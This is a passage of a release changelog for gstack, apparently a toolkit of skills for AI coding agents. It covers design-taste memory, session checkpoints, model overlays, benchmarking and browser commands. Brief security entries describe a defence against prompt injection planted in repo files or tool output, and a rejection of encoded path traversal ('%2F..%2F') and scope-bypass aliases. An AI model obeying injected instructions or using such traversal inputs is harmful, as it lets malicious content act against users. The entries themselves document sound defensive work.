$P generate --allow-network essay.md lets external images load. Off by default so someone else's markdown can't phone home through a tracking pixel when you generate their PDF.

$P preview essay.md renders the same HTML and opens it in your browser. Refresh as you edit. Skip the PDF round trip until you're ready.

$P setup verifies browse + Chromium + pdftotext are installed and runs an end-to-end smoke test.

Why the text actually copies cleanly

Headless Chromium emits per-glyph Tj operators for webfonts with non-standard metrics tables. That's why every other "markdown to PDF" tool produces PDFs where copy-paste turns "Sailing" into "S a i l i n g". We ship with system Helvetica for everything ... Chromium has native metrics for it and emits clean word-level Tj operators. The CI matrix runs a combined-features fixture (smartypants + hyphens + ligatures + bold/italic + inline code + lists + blockquote + chapter breaks, all on) through pdftotext and asserts the extracted text matches a handwritten expected file. If any feature breaks extraction, the gate fails.

Under the hood

make-pdf shells out to browse for Chromium lifecycle. No second Playwright install, no second 58MB binary, no second codesigning dance. $B pdf grew from "take a screenshot as A4" into a real PDF engine with --format/--width/--height, --margins, --header-template/--footer-template, --page-numbers, --tagged, --outline, --toc, --tab-id, and --from-file for large payloads (Windows argv caps). $B load-html and $B js got --tab-id too, so parallel $P generate calls never race on the active tab. $B newtab --json returns structured output so make-pdf can parse the tab ID without regex-matching log strings.

For contributors

Skill file: make-pdf/SKILL.md.tmpl. Binary source: make-pdf/src/. Test fixtures: make-pdf/test/fixtures/. CI workflow: .github/workflows/make-pdf-gate.yml.

New resolver {{MAKE_PDF_SETUP}} emits the $P= alias with the same discovery order as $B: MAKE_PDF_BIN env override, then local skill root, then global install, then PATH.

Combined-features copy-paste gate is the P0 test in make-pdf/test/e2e/combined-gate.test.ts. Per-feature gates are P1 diagnostics.

Phase 4 deferrals: vendored Paged.js for accurate TOC page numbers, vendored highlight.js for syntax highlighting, drop caps, pull quotes, CMYK safe conversion, two-column layout.

Preamble bash now emits _EXPLAIN_LEVEL and _QUESTION_TUNING so downstream skills can read them at runtime. Golden-file fixtures updated to match.

[1.3.0.0] - 2026-04-19

Your design skills learn your taste.

Your session state becomes files you can grep, not a black box.

v1.3 is about the things you do every day. /design-shotgun now remembers which fonts, colors, and layouts you approve across sessions, so the next round of variants leans toward your actual taste instead of resetting to Inter every time. /design-consultation has a "would a human designer be embarrassed by this?" self-gate in Phase 5 and a "what's the one thing someone will remember?" forcing question in Phase 1, AI-slop output gets discarded before it reaches you. /context-save and /context-restore write session state to plaintext markdown in ~/.gstack/projects/$SLUG/checkpoints/, you can read and edit and move between machines. Flip on continuous checkpoint mode (gstack-config set checkpoint_mode continuous) and it also drops WIP: commits with structured [gstack-context] bodies into your git log. Claude Code already manages its own session state, this is a parallel track you control, in formats you own.

The numbers that matter

Setup: these come from the v1.3 feature surface. Reproducible via grep "Generate a different" design-shotgun/SKILL.md.tmpl, ls model-overlays/, cat bin/gstack-taste-update for the schema, and gstack-config get checkpoint_mode for the runtime wiring.

Metric BEFORE v1.3 AFTER v1.3 Δ

Design-variant convergence gate no requirement 3 axes required (font + palette + layout must differ) +3

AI-slop font blacklist ~8 fonts 10+ (added Space Grotesk, system-ui as primary) +2+

Taste memory across /design-shotgun rounds none per-project JSON, 5%/wk decay new

Session state format Claude Code's opaque session store markdown in ~/.gstack/ by default, plus WIP: git commits if you opt into continuous mode (parallel track) new

/context-restore sources markdown files only markdown + [gstack-context] from WIP commits +1

Models with behavioral overlays 1 (Claude implicit) 5 (claude, gpt, gpt-5.4, gemini, o-series) +4

The single most striking row: session state stops being a black box. Claude Code's built-in session management works fine on its own terms, but you can't grep it, you can't read it, you can't hand it to a different tool. /context-save writes markdown to ~/.gstack/projects/$SLUG/checkpoints/ you can open in any editor. Continuous mode (opt-in) also drops WIP: commits with structured [gstack-context] bodies into your git log, so git log --grep "WIP:" shows the whole thread. Either way, plain text you own, not a proprietary store.

What this means for gstack users

If you're a solo builder or founder shipping a product one sprint at a time, /design-shotgun stops handing you the same four variants every time and starts learning which ones you pick. /design-consultation stops defaulting to Inter + gray + rounded-corners and forces itself to answer "what's memorable?" before it finishes. /context-save and /context-restore give you a parallel, inspectable record of session state that lives alongside Claude Code's own, markdown files in your home directory by default, plus git commits if you opt into continuous mode. When you need to hand work off to a different tool or just review what your agent actually decided, you open a file or read git log. Run /gstack-upgrade, try /design-shotgun on your next landing page, and approve a variant so the taste engine has a starting signal.

Itemized changes

Added

Design skills that stop looking like AI

Anti-slop design constraints. /design-consultation now asks "What's the one thing someone will remember?" as a forcing question in Phase 1, and runs a "Would a human designer be embarrassed by this?" self-gate in Phase 5 — output that fails the gate gets discarded and regenerated. /design-shotgun gets an anti-convergence directive: each variant must use a different font, palette, and layout, or one of them failed. Space Grotesk (the new "safe alternative to Inter") added to the overused-fonts list. system-ui as a primary font added to the AI-slop blacklist.

Design taste engine. Your approvals and rejections in /design-shotgun get written to a persistent per-project taste profile at ~/.gstack/projects/$SLUG/taste-profile.json. Tracks fonts, colors, layouts, and aesthetic directions with Laplace-smoothed confidence. Decays 5% per week so stale preferences fade. /design-consultation and /design-shotgun both factor in your demonstrated preferences on future runs, so variant #3 this month remembers what you liked in variant #1 last month.

Session state you can see, grep, and move

Continuous checkpoint mode (opt-in, local by default). Flip it on with gstack-config set checkpoint_mode continuous and skills auto-commit your work with WIP: <description> prefix and a structured [gstack-context] body (decisions made, remaining work, failed approaches) directly into your project's git log. Runs alongside Claude Code's built-in session management and alongside the default /context-save markdown files in ~/.gstack/. The git-based track is useful when you want git log --grep "WIP:" to show you the whole reasoning thread on a branch, or when you want to review what your agent did without opening a file. Push is opt-in via checkpoint_push=true, default is local-only so you don't accidentally trigger CI on every WIP commit.

/context-restore reads WIP commits. In addition to the markdown saved-context files, /context-restore now parses [gstack-context] blocks from WIP commits on the current branch. When you want to pick up where you left off with structured decisions and remaining-work in view, it's right there.

/ship non-destructively squashes WIP commits before creating the PR. Uses git rebase --autosquash scoped to WIP commits only. Non-WIP commits on the branch are preserved. Aborts on conflict with a BLOCKED status instead of destroying real work. So you can go wild with WIP: commits all week and still ship a clean bisectable PR.

Quality-of-life

Feature discovery prompt after upgrade. When JUST_UPGRADED fires, gstack offers to enable new features once per user (per-feature marker files at ~/.gstack/.feature-prompted-{name}). Skipped entirely in spawned sessions. No more silent features that never get discovered.

Context health soft directive (T2+ skills). During long-running skills (/qa, /investigate, /cso), gstack now nudges you to write periodic [PROGRESS] summaries. If you notice you're going in circles, STOP and reassess. Self-monitoring for 50+ tool-call sessions. No fake thresholds, no enforcement. Progress reports never mutate git state.

Cross-host support

Per-model behavioral overlays via --model flag. Different LLMs need different nudges. Run bun run gen:skill-docs --model gpt-5.4 and every generated skill picks up GPT-tuned behavioral patches. Five overlays ship in model-overlays/: claude (todo-list discipline), gpt (anti-termination + completeness), gpt-5.4 (anti-verbosity, inherits gpt), gemini (conciseness), o-series (structured output). Overlay files are plain markdown — edit in place, no code changes. MODEL_OVERLAY: {model} prints in the preamble output so you know which one is active.

Config

gstack-config list and defaults subcommands. list shows all config keys with current value AND source (user-set vs default). defaults shows the defaults table. Fixes the prior gap where get returned empty for missing keys instead of falling back to the documented defaults.

checkpoint_mode and checkpoint_push config keys. New knobs for continuous checkpoint mode. Both default to safe values (explicit mode, no auto-push).

Power-user / internal

gstack-model-benchmark CLI + /benchmark-models skill. Run the same prompt across Claude, GPT (via Codex CLI), and Gemini side-by-side. Compares latency, tokens, cost, and optionally output quality via an Anthropic SDK judge (--judge, ~$0.05/run). Per-provider auth detection, pricing tables, tool-compatibility map, parallel execution, per-provider error isolation. Output as table / JSON / markdown. --dry-run validates flags + auth without spending API calls. /benchmark-models wraps the CLI in an interactive flow (pick prompt → confirm providers → decide on judge → run → interpret) for when you want to know "which model is actually best for my /qa skill" with data instead of vibes.

Changed

Preamble split into submodules. scripts/resolvers/preamble.ts was 740 lines with 18 generators inline. Now it's a ~100-line composition root that imports each generator from scripts/resolvers/preamble/*.ts. Output is byte-identical (verified via diff -r on all 135 generated SKILL.md files across all hosts before and after the refactor). Maintenance gets easier: adding a new preamble section is now "create one file, add one import line" instead of "find a spot in the god-file." This also absorbs main's v1.1.2 mode-posture and v1.0 writing-style additions as submodules (generate-writing-style.ts, generate-writing-style-migration.ts).

Anti-slop dead code removed. scripts/gen-skill-docs.ts had a duplicate copy of AI_SLOP_BLACKLIST, OPENAI_HARD_REJECTIONS, and OPENAI_LITMUS_CHECKS. Deleted — scripts/resolvers/constants.ts is now the single source. No more drift risk.

Token ceiling raised from 25K to 40K. Skills legitimately packing a lot of behavior (/ship, /plan-ceo-review, /office-hours) were tripping warnings that no longer reflect real risk given today's 200K-1M context windows and prompt caching. CLAUDE.md's guidance reframes the ceiling as a "watch for runaway growth" signal rather than a forcing compression target.

Fixed

Codex adapter works in temp working directories. The GPT adapter (via codex exec) now passes --skip-git-repo-check so benchmarks running in non-git temp dirs stop hitting "Not inside a trusted directory" errors. -s read-only stays the safety boundary; the flag only skips the interactive trust prompt.

--models list deduplication. Passing --models claude,claude,gpt no longer runs Claude twice and double-bills. The flag parser dedupes via Set while preserving first-occurrence order.

CI Docker build on Ubicloud runners. Two fixes merged during the branch's life: (1) switched the Node.js install from NodeSource apt to direct download of the official nodejs.org tarball, since Ubicloud runners regularly couldn't reach archive.ubuntu.com / security.ubuntu.com; (2) added xz-utils to the system deps so tar -xJ on the .tar.xz tarball actually works.

For contributors

Test infrastructure for multi-provider benchmarking. test/helpers/providers/{types,claude,gpt,gemini}.ts defines a uniform ProviderAdapter interface and three adapters wrapping the existing CLI runners. test/helpers/pricing.ts has per-model cost tables (update quarterly). test/helpers/tool-map.ts declares which tools each provider's CLI exposes — benchmarks that need Edit/Glob/Grep correctly skip Gemini and report unsupported_tool.

Model taxonomy in neutral scripts/models.ts. Avoids an import cycle through hosts/index.ts that would have happened if Model lived in scripts/resolvers/types.ts. resolveModel() handles family heuristics: gpt-5.4-mini → gpt-5.4, o3 → o-series, claude-opus-4-7 → claude.

scripts/resolvers/preamble/ — 18 single-purpose generators, 16-160 lines each. The composition root in scripts/resolvers/preamble.ts imports them and wires them into the tier-gated section list.

Plan and reviews persisted. Implementation followed ~/.claude/plans/declarative-riding-cook.md which went through CEO review (SCOPE EXPANSION, 6 expansions accepted), DX review (POLISH, 5 gaps fixed), Eng review (4 architecture issues), and Codex review (11 brutal findings, all integrated and 2 prior decisions reversed).

Mode-posture energy in Writing Style rules 2-4 (ported from main's v1.1.2.0). Rule 2 and rule 4 now cover three framings — pain reduction, capability unlocked, forcing-question pressure — so expansion, builder, and forcing-question skills keep their edge instead of collapsing into diagnostic-pain framing. Rule 3 adds an explicit exception for stacked forcing questions. Came in via the merge; sits on top of the submodule refactor already shipped in v1.3.

Lite E2E coverage for v1.3 primitives. Three new test files fill the real coverage gaps flagged in initial review: test/taste-engine.test.ts (24 tests — schema shape, Laplace-smoothed confidence, 5%/week decay clamped at 0, multi-dimension extraction, case-insensitive first-casing-wins policy, session cap via seed-then-one-call, legacy profile migration, taste-drift conflict warning, malformed-JSON recovery), test/benchmark-cli.test.ts (12 tests — CLI flag wiring, provider defaults, unknown-provider WARN path, NOT-READY branch regression catcher that strips auth env vars), test/skill-e2e-benchmark-providers.test.ts (8 periodic-tier live-API tests — trivial "echo ok" prompt through claude/codex/gemini adapters, assertions on parsed output + tokens + cost + timeout error codes + Promise.allSettled parallel isolation).

Ship golden fixtures for three hosts. test/fixtures/golden/{claude,codex,factory}-ship-SKILL.md — byte-exact regression pins on the /ship generated output. The adversarial subagent pass during /review caught two real bugs before merge: Geist/GEIST casing policy in the taste engine was unpinned, and the live-E2E workdir was created at module load and never cleaned up.

[1.1.3.0] - 2026-04-19

Changed

/checkpoint is now /context-save + /context-restore. Claude Code treats /checkpoint as a native rewind alias in current environments, which was shadowing the gstack skill. Symptom: you'd type /checkpoint, the agent would describe it as a "built-in you need to type directly," and nothing would get saved. The fix is a clean rename and a split into two skills. One that saves, one that restores. Your old saved files still load via /context-restore (storage path unchanged).

/context-save saves your current working state (optional title: /context-save wintermute).

/context-save list lists saved contexts. Defaults to current branch; pass --all for every branch.

/context-restore loads the most recent saved context across ALL branches by default. This fixes a second bug where the old /checkpoint resume flow was getting cross-contaminated with list-flow filtering and silently hiding your most recent save.

/context-restore <title-fragment> loads a specific saved context.

Restore ordering is now deterministic. "Most recent" means the YYYYMMDD-HHMMSS prefix in the filename, not filesystem mtime. mtime drifts during copies and rsync; filenames don't. Applied to both restore and list flows.

Fixed

Empty-set bug on macOS. If you ran /checkpoint resume (now /context-restore) with zero saved files, find ... | xargs ls -1t would fall back to listing your current directory. Confusing output, no clean "no saved contexts yet" message. Replaced with find | sort -r | head so empty input stays empty.

For contributors

New gstack-upgrade/migrations/v1.1.3.0.sh removes the stale on-disk /checkpoint install so Claude Code's native /rewind alias is no longer shadowed. Ownership-guarded across three install shapes (directory symlink into gstack, directory with SKILL.md symlinked into gstack, anything else). User-owned /checkpoint skills preserved with a notice. Migration hardened after adversarial review: explicit HOME unset/empty guard, realpath with python3 fallback, rm -- flag, macOS sidecar handling.

test/migration-checkpoint-ownership.test.ts ships 7 scenarios covering all 3 install shapes + idempotency + no-op-when-gstack-not-installed + SKILL.md-symlink-outside-gstack. Free tier, ~85ms.

Split checkpoint-save-resume E2E into context-save-writes-file and context-restore-loads-latest. The latter seeds two files with scrambled mtimes so the "filename-prefix, not mtime" guarantee is locked in.

context-save now sanitizes the title in bash (allowlist [a-z0-9.-], cap 60 chars) instead of trusting LLM-side slugification, and appends a random suffix on same-second collisions to enforce the append-only contract.

context-restore caps its filename listing at 20 most-recent entries so users with 10k+ saved files don't blow the context window.

test/skill-e2e-autoplan-dual-voice.test.ts was shipped broken on main (wrong runSkillTest option names, wrong result-field access, wrong helper signatures, missing Agent/Skill tools). Fixed end-to-end: 1/1 pass on first attempt, $0.68, 211s. Voice-detection regexes now match JSON-shaped tool_use entries and phase-completion markers, not bare prompt-text mentions.

Added 8 live-fire E2E tests in test/skill-e2e-context-skills.test.ts that spawn claude -p with the Skill tool enabled and assert on the routing path, not hand-fed section prompts. Covers: save routing, save-then-restore round-trip, fragment-match restore, empty-state graceful message, /context-restore list delegation to /context-save list, legacy file compat, branch-filter default, and --all flag. 21 additional free-tier hardening tests in test/context-save-hardening.test.ts pin the title-sanitizer allowlist, collision-safe filenames, empty-set fallback, and migration HOME guard.

New test/skill-collision-sentinel.test.ts — insurance policy against upstream slash-command shadowing. Enumerates every gstack skill name and cross-checks against a per-host list of known built-in slash commands (23 Claude Code built-ins tracked so far). When a host ships a new built-in, add it to KNOWN_BUILTINS and the test flags the collision before users find it. /review collision with Claude Code's /review documented in KNOWN_COLLISIONS_TOLERATED with a written justification; the exception list is validated against live skills on every run so stale entries fail loud.

runSkillTest in test/helpers/session-runner.ts now accepts an env: option for per-test env overrides. Prevents tests from having to stuff GSTACK_HOME=... into the prompt, which was causing the agent to bypass the Skill tool. All 8 new E2E tests use env: { GSTACK_HOME: gstackHome }.

[1.1.2.0] - 2026-04-19

Fixed

/plan-ceo-review SCOPE EXPANSION mode stays expansive. If you asked the CEO review to dream big, proposals were collapsing into dry feature bullets ("Add real-time notifications. Improves retention by Y%"). The V1 writing-style rules steered every outcome into diagnostic-pain framing. Rule 2 and rule 4 in the shared preamble now cover three framings: pain reduction, capability unlocked, and forcing-question pressure. Cathedral language survives the clarity layer. Ask for a 10x vision, get one.

/office-hours keeps its edge. Startup-mode Q3 (Desperate Specificity) stopped collapsing into "Who is your target user?" The forcing question now stacks three pressures, matched to the domain of the idea — career impact for B2B, daily pain for consumer, weekend project unlocked for hobby and open-source. Builder mode stays wild: "what if you also..." riffs and adjacent unlocks come through, not PRD-voice feature roadmaps.

Added

Gate-tier eval tests catch mode-posture regressions on every PR. Three new E2E tests fire when the shared preamble, the plan-ceo-review template, or the office-hours template change. A Sonnet judge scores each mode on two axes: felt-experience vs decision-preservation for expansion, stacked-pressure vs domain-matched-consequence for forcing, unexpected-combinations vs excitement-over-optimization for builder. The original V1 regression shipped because nothing caught it. This closes that gap.

For contributors

Writing Style rule 2 and rule 4 in scripts/resolvers/preamble.ts each present three paired framing examples instead of one. Rule 3 adds an explicit exception for stacked forcing questions.

plan-ceo-review/SKILL.md.tmpl gets a new ### 0D-prelude. Expansion Framing subsection shared by SCOPE EXPANSION and SELECTIVE EXPANSION.

office-hours/SKILL.md.tmpl gets inline forcing exemplar (Q3) and wild exemplar (builder operating principles). Anchored by stable heading, not line numbers.

New judgePosture(mode, text) helper in test/helpers/llm-judge.ts (Sonnet judge, dual-axis rubric per mode).

Three test fixtures in test/fixtures/mode-posture/ — expansion plan, forcing pitch, builder idea.

Three entries registered in E2E_TOUCHFILES + E2E_TIERS: plan-ceo-review-expansion-energy, office-hours-forcing-energy, office-hours-builder-wildness — all gate tier.

Review history on this branch: CEO review (HOLD SCOPE) + Codex plan review (30 findings, drove approach pivot from "add new rule #5 taxonomy" to "rewrite rule 2-4 examples"). One eng review pass caught the test-infrastructure target (originally pointed at test/skill-llm-eval.test.ts, which does static analysis — actually needs E2E).

[1.1.1.0] - 2026-04-18

Fixed

/ship no longer silently lets VERSION and package.json drift. Before this fix, /ship's Step 12 read and bumped only the VERSION file. Any downstream consumer that reads package.json (registry UIs, bun pm view, npm publish, future helpers) would see a stale semver, and because the idempotency check keyed on VERSION alone, the next /ship run couldn't detect it had drifted. Now Step 12 classifies into four states — FRESH, ALREADY_BUMPED, DRIFT_STALE_PKG, DRIFT_UNEXPECTED — detects drift in every direction, repairs it via a sync-only path that can't double-bump, and halts loudly when VERSION and package.json disagree in an ambiguous way.

Hardened against malformed version strings. NEW_VERSION is validated against the 4-digit semver pattern before any write, and the drift-repair path applies the same check to VERSION contents before propagating them into package.json. Trailing carriage returns and whitespace are stripped from both file reads. If package.json is invalid JSON, /ship stops loudly instead of silently rewriting a corrupted file.

For contributors

New test file at test/ship-version-sync.test.ts — 14 cases covering every branch of the new Step 12 logic, including the critical no-double-bump path (drift-repair must never call the normal bump action), trailing-CR regression, and invalid-semver repair rejection.

Review history on this fix: one round of /plan-eng-review, one round of /codex plan review (found a double-bump bug in the original design), one round of Claude adversarial subagent (found CRLF handling gap and unvalidated REPAIR_VERSION). All surfaced issues applied in-branch.

[1.1.0.0] - 2026-04-18

Added

Browse can now render local HTML without an HTTP server. Two ways: $B goto file:///tmp/report.html navigates to a local file (including cwd-relative file://./x and home-relative file://~/x forms, smart-parsed so you don't have to think about URL grammar), or $B load-html /tmp/tweet.html reads the file and loads it via page.setContent(). Both are scoped to cwd + temp dir for safety. If you're migrating a Puppeteer script that generates HTML in memory, this kills your Python-HTTP-server workaround.

Element screenshots with an explicit flag. $B screenshot out.png --selector .card is now the unambiguous way to screenshot a single element. Positional selectors still work, but tag selectors like button weren't recognized positionally, so the flag form fixes that. --selector composes with --base64 and rejects alongside --clip (choose one).

Retina screenshots via --scale. $B viewport 480x2000 --scale 2 sets deviceScaleFactor: 2 and produces pixel-doubled screenshots. $B viewport --scale 2 alone changes just the scale factor and keeps the current size. Scale is capped at 1-3 (gstack policy). Headed mode rejects the flag since scale is controlled by the real browser window.

Load-HTML content survives scale changes. Changing --scale rebuilds the browser context (that's how Playwright works), which previously would have wiped pages loaded via load-html. Now the HTML is cached in tab state and replayed into the new context automatically. In-memory only; never persisted to disk.

Puppeteer → browse cheatsheet in SKILL.md. Side-by-side table of Puppeteer APIs mapped to browse commands, plus a full worked example (tweet-renderer flow: viewport + scale + load-html + element screenshot).

Guess-friendly aliases. Type setcontent or set-content and it routes to load-html. Canonicalization happens before scope checks, so read-scoped tokens can't use the alias to bypass write-scope enforcement.

Did you mean ...? on unknown commands. $B load-htm returns Unknown command: 'load-htm'. Did you mean 'load-html'?. Levenshtein match within distance 2, gated on input length ≥ 4 so 2-letter typos don't produce noise.

Rich, actionable errors on load-html. Every rejection path (file not found, directory, oversize, outside safe dirs, binary content, frame context) names the input, explains the cause, and says what to do next. Extension allowlist .html/.htm/.xhtml/.svg + magic-byte sniff (with UTF-8 BOM strip) catches mis-renamed binaries before they render as garbage.

Security

file:// navigation is now an accepted scheme in goto, scoped to cwd + temp dir via the existing validateReadPath() policy. UNC/network hosts (file://host.example.com/...), IP hosts, IPv6 hosts, and Windows drive-letter hosts are all rejected with explicit errors.

State files can no longer smuggle HTML content. state load now uses an explicit allowlist for the fields it accepts from disk — a tampered state file cannot inject loadedHtml to bypass the load-html safe-dirs, extension allowlist, magic-byte sniff, or size cap checks. Tab ownership is preserved across context recreation via the same in-memory channel, closing a cross-agent authorization gap where scoped agents could lose (or gain) tabs after viewport --scale.

Audit log now records the raw alias input. When you type setcontent, the audit entry shows cmd: load-html, aliasOf: setcontent so the forensic trail reflects what the agent actually sent, not just the canonical form.

load-html content correctly clears on every real navigation — link clicks, form submits, and JavaScript redirects now invalidate the replay metadata just like explicit goto/back/forward/reload do. Previously a later viewport --scale after a click could resurrect the original load-html content (silent data corruption). Also fixes SPA fixture URLs: goto file:///tmp/app.html?route=home#login preserves the query string and fragment through normalization.

For contributors

validateNavigationUrl() now returns the normalized URL (previously void). All four callers — goto, diff, newTab, restoreState — updated to consume the return value so smart-parsing takes effect at every navigation site.

New normalizeFileUrl() helper uses fileURLToPath() + pathToFileURL() from node:url — never string-concat — so URL escapes like %20 decode correctly and encoded-slash traversal (%2F..%2F) is rejected by Node outright.

New TabSession.loadedHtml field + setTabContent() / getLoadedHtml() / clearLoadedHtml() methods. ASCII lifecycle diagram in the source. The clear call happens BEFORE navigation starts (not after) so a goto that times out post-commit doesn't leave stale metadata that could resurrect on a later context recreation.

BrowserManager.setDeviceScaleFactor(scale, w, h) is atomic: validates input, stores new values, calls recreateContext(), rolls back the fields on failure. currentViewport tracking means recreateContext preserves your size instead of hardcoding 1280×720.

COMMAND_ALIASES + canonicalizeCommand() + buildUnknownCommandError() + NEW_IN_VERSION are exported from browse/src/commands.ts. Single source of truth — both the server dispatcher and chain prevalidation import from the same place. Chain uses { rawName, name } shape per step so audit logs preserve what the user typed while dispatch uses the canonical name.

load-html is registered in SCOPE_WRITE in browse/src/token-registry.ts.

Review history for the curious: 3 Codex consults (20 + 10 + 6 gaps), DX review (TTHW ~4min → <60s, Champion tier), 2 Eng review passes. Third Codex pass caught the 4-caller bug for validateNavigationUrl that the eng passes missed. All findings folded into the plan.

[1.0.0.0] - 2026-04-18

Added

v1 prompts = simpler. Every skill's output (tier 2 and up) explains technical terms on first use with a one-sentence gloss, frames questions in outcome terms ("what breaks for your users if..." instead of "is this endpoint idempotent?"), and keeps sentences short and direct. Good writing for everyone — not just non-technical folks. Engineers benefit too.

Terse opt-out for power users. gstack-config set explain_level terse switches every skill back to the older, tighter prose style — no glosses, no outcome-framing layer. Binary switch, sticks across all skills.

Curated jargon list. A repo-owned list of ~50 technical terms (idempotent, race condition, N+1, backpressure, and friends) at scripts/jargon-list.json. These are the terms gstack glosses. Terms not on the list are assumed plain-English enough. Add terms via PR.

Real LOC receipts in the README. Replaced the "600,000+ lines of production code" hero framing with a computed 2013-vs-2026 pro-rata multiple on logical code change, with honest caveats about public-vs-private repos. The script that computes it is at scripts/garry-output-comparison.ts and uses scc. Raw LOC is still in /retro output for context, just no longer the headline.

Smarter /retro metrics. /retro now leads with features shipped, commits, and PRs merged — logical SLOC added comes next, and raw LOC is demoted to context-only. Because ten lines of a good fix is not less shipping than ten thousand lines of scaffold.

Upgrade prompt on first run. When you upgrade to this version, the first skill you run will ask once whether you want to keep the new default writing style or restore V0 prose with gstack-config set explain_level terse. One-time, flag-file gated, never asks again.

Changed

README hero reframed. No more "10K-20K lines per day" claim. Focuses on products shipped + features + the pro-rata multiple on logical code change, which is the honest metric now that AI writes most of the code. The point isn't who typed it, it's what shipped.

Hiring callout reframed. Replaced "ship 10K+ LOC/day" with "ship real products at AI-coding speed."

For contributors

New scripts/resolvers/preamble.ts Writing Style section, injected for tier ≥ 2 skills. Composes with the existing AskUserQuestion Format section (Format = how the question is structured, Style = the prose quality of the content inside). Jargon list is baked into generated SKILL.md prose at gen-skill-docs time — zero runtime cost, edit the JSON and regenerate.

New bin/gstack-config validation for explain_level values. Unknown values print a warning and default to default. Annotated header documents the new key.

New one-shot upgrade migration at gstack-upgrade/migrations/v1.0.0.0.sh, matching existing v0.15.2.0.sh / v0.16.2.0.sh pattern. Flag-file gated.

New throughput pipeline: scripts/garry-output-comparison.ts (scc preflight + author-scoped SLOC across 2013 + 2026), scripts/update-readme-throughput.ts (reads the JSON, replaces  anchor), scripts/setup-scc.sh (OS-detecting installer invoked only when running the throughput script — scc is not a package.json dependency).

Two-string marker pattern in README to prevent the pipeline from destroying its own update path: GSTACK-THROUGHPUT-PLACEHOLDER (stable anchor) vs GSTACK-THROUGHPUT-PENDING (explicit missing-build marker CI rejects).

V0 dormancy negative tests — the 5D psychographic dimensions (scope_appetite, risk_tolerance, detail_preference, autonomy, architecture_care) and 8 archetype names (Cathedral Builder, Ship-It Pragmatist, Deep Craft, Taste Maker, Solo Operator, Consultant, Wedge Hunter, Builder-Coach) must not appear in default-mode skill output. Keeps the V0 machinery dormant until V2.

Pacing improvements ship in V1.1. The scope originally considered (review ranking, Silent Decisions block, max-3-per-phase cap, flip mechanism) was extracted to docs/designs/PACING_UPDATES_V0.md after three engineering-review passes revealed structural gaps that couldn't be closed with plan-text editing. V1.1 picks it up with real V1 baseline data.

Design doc: docs/designs/PLAN_TUNING_V1.md. Full review history: CEO + Codex (×2 passes, 45 findings integrated) + DX (TRIAGE) + Eng (×3 passes — last pass drove the scope reduction).

[0.19.0.0] - 2026-04-17

Added

/plan-tune skill — gstack can now learn which of its prompts you find valuable vs noisy. If you keep answering the same AskUserQuestion the same way every time, this is the skill that teaches gstack to stop asking. Say "stop asking me about changelog polish" — gstack writes it down, respects it from that point forward, and one-way doors (destructive ops, architecture forks, security choices) still always ask regardless, because safety wins over preference. Plain English everywhere. No CLI subcommand syntax to memorize.

Dual-track developer profile. Tell gstack who you are as a builder (5 dimensions: scope appetite, risk tolerance, detail preference, autonomy, architecture care). gstack also silently tracks what your behavior suggests. /plan-tune shows both side by side plus the gap, so you can see when your actions don't match your self-description. v1 is observational — no skills change their behavior based on your profile yet. That comes in v2, once the profile has proven itself.

Builder archetypes. Run /plan-tune vibe (v2) or let the skill infer it from your dimensions. Eight named archetypes (Cathedral Builder, Ship-It Pragmatist, Deep Craft, Taste Maker, Solo Operator, Consultant, Wedge Hunter, Builder-Coach) plus a Polymath fallback when your dimensions don't fit a standard pattern. Codebase and model ship now; the user-facing commands are v2.

Inline tune: feedback across every gstack skill. When a skill asks you something, you can reply tune: never-ask or tune: always-ask or free-form English and gstack normalizes it into a preference. Only runs when you've opted in via gstack-config set question_tuning true — zero impact until then.

Profile-poisoning defense. Inline tune: writes only get accepted when the prefix came from your own chat message — never from tool output, file content, PR descriptions, or anywhere else a malicious repo might inject instructions. The binary enforces this with exit code 2 for rejected writes. This was an outside-voice catch from Codex review; it's baked in from day one.

Typed question registry with CI enforcement. 53 recurring AskUserQuestion categories across 15 skills are now declared in scripts/question-registry.ts with stable IDs, categories, door types (one-way vs two-way), and options. A CI test asserts the schema stays valid. Safety-critical questions (destructive ops, architecture forks) are classified one-way at the declaration site — never inferred from prose summaries.

Unified developer profile. The /office-hours skill's existing builder-profile.jsonl (sessions, signals, resources, topics) is folded into a single ~/.gstack/developer-profile.json on first use. Migration is atomic, idempotent, and archives the source file — rerun it safely. Legacy gstack-builder-profile is a thin shim that delegates to the new binary.

For contributors

New docs/designs/PLAN_TUNING_V0.md captures the full design journey: every decision with pros/cons, what was deferred to v2 with explicit acceptance criteria, what was rejected after Codex review (substrate-as-prompt-convention, ±0.2 clamp, preamble LANDED detection, single event-schema), and how the final shape came together. Read this before working on v2 to understand why the constraints exist.

Three new binaries: bin/gstack-question-log (validated append to question-log.jsonl), bin/gstack-question-preference (explicit preference store with user-origin gate), bin/gstack-developer-profile (supersedes gstack-builder-profile; supports --read, --migrate, --derive, --profile, --gap, --trace, --check-mismatch, --vibe).

Three new preamble resolvers in scripts/resolvers/question-tuning.ts: question preference check (before each AskUserQuestion), question log (after), inline tune feedback with user-origin gate instructions. Consolidated into one compact generateQuestionTuning section for tier >= 2 skills to minimize token overhead.

Hand-crafted psychographic signal map (scripts/psychographic-signals.ts) with version hash so cached profiles recompute automatically when the map changes between gstack versions. 9 signal keys covering scope-appetite, architecture-care, test-discipline, code-quality-care, detail-preference, design-care, devex-care, distribution-care, session-mode.

Keyword-fallback one-way-door classifier (scripts/one-way-doors.ts) — secondary safety layer for ad-hoc question IDs that don't appear in the registry. Primary safety is the registry declaration.

118 new tests across 4 test files: test/plan-tune.test.ts (47 tests — schema, helpers, safety, classifier, signal map, archetypes, preamble injection, end-to-end pipeline), test/gstack-question-log.test.ts (21 tests — valid payloads, rejected payloads, injection defense), test/gstack-question-preference.test.ts (31 tests — check/write/read/clear/stats + user-origin gate + schema validation), test/gstack-developer-profile.test.ts (25 tests — read/migrate/derive/trace/gap/vibe/check-mismatch). Gate-tier E2E test skill-e2e-plan-tune.test.ts registered (runs on bun run test:evals).

Scope rollback driven by outside-voice review. The initial CEO EXPANSION plan bundled psychographic auto-decide + blind-spot coach + LANDED celebration + full substrate wiring. Codex's 20-point critique caught that without a typed question registry, "substrate" was marketing; E1/E4/E6 formed a logical contradiction; profile poisoning was unaddressed; LANDED in the preamble injected side effects into every skill's hot path. Accepted the rollback: v1 ships the schema + observation layer, v2 adds behavior adaptation only after the foundation proves durable. All six expansions are tracked as P0 TODOs with explicit acceptance criteria.

[0.18.4.0] - 2026-04-18

Fixed

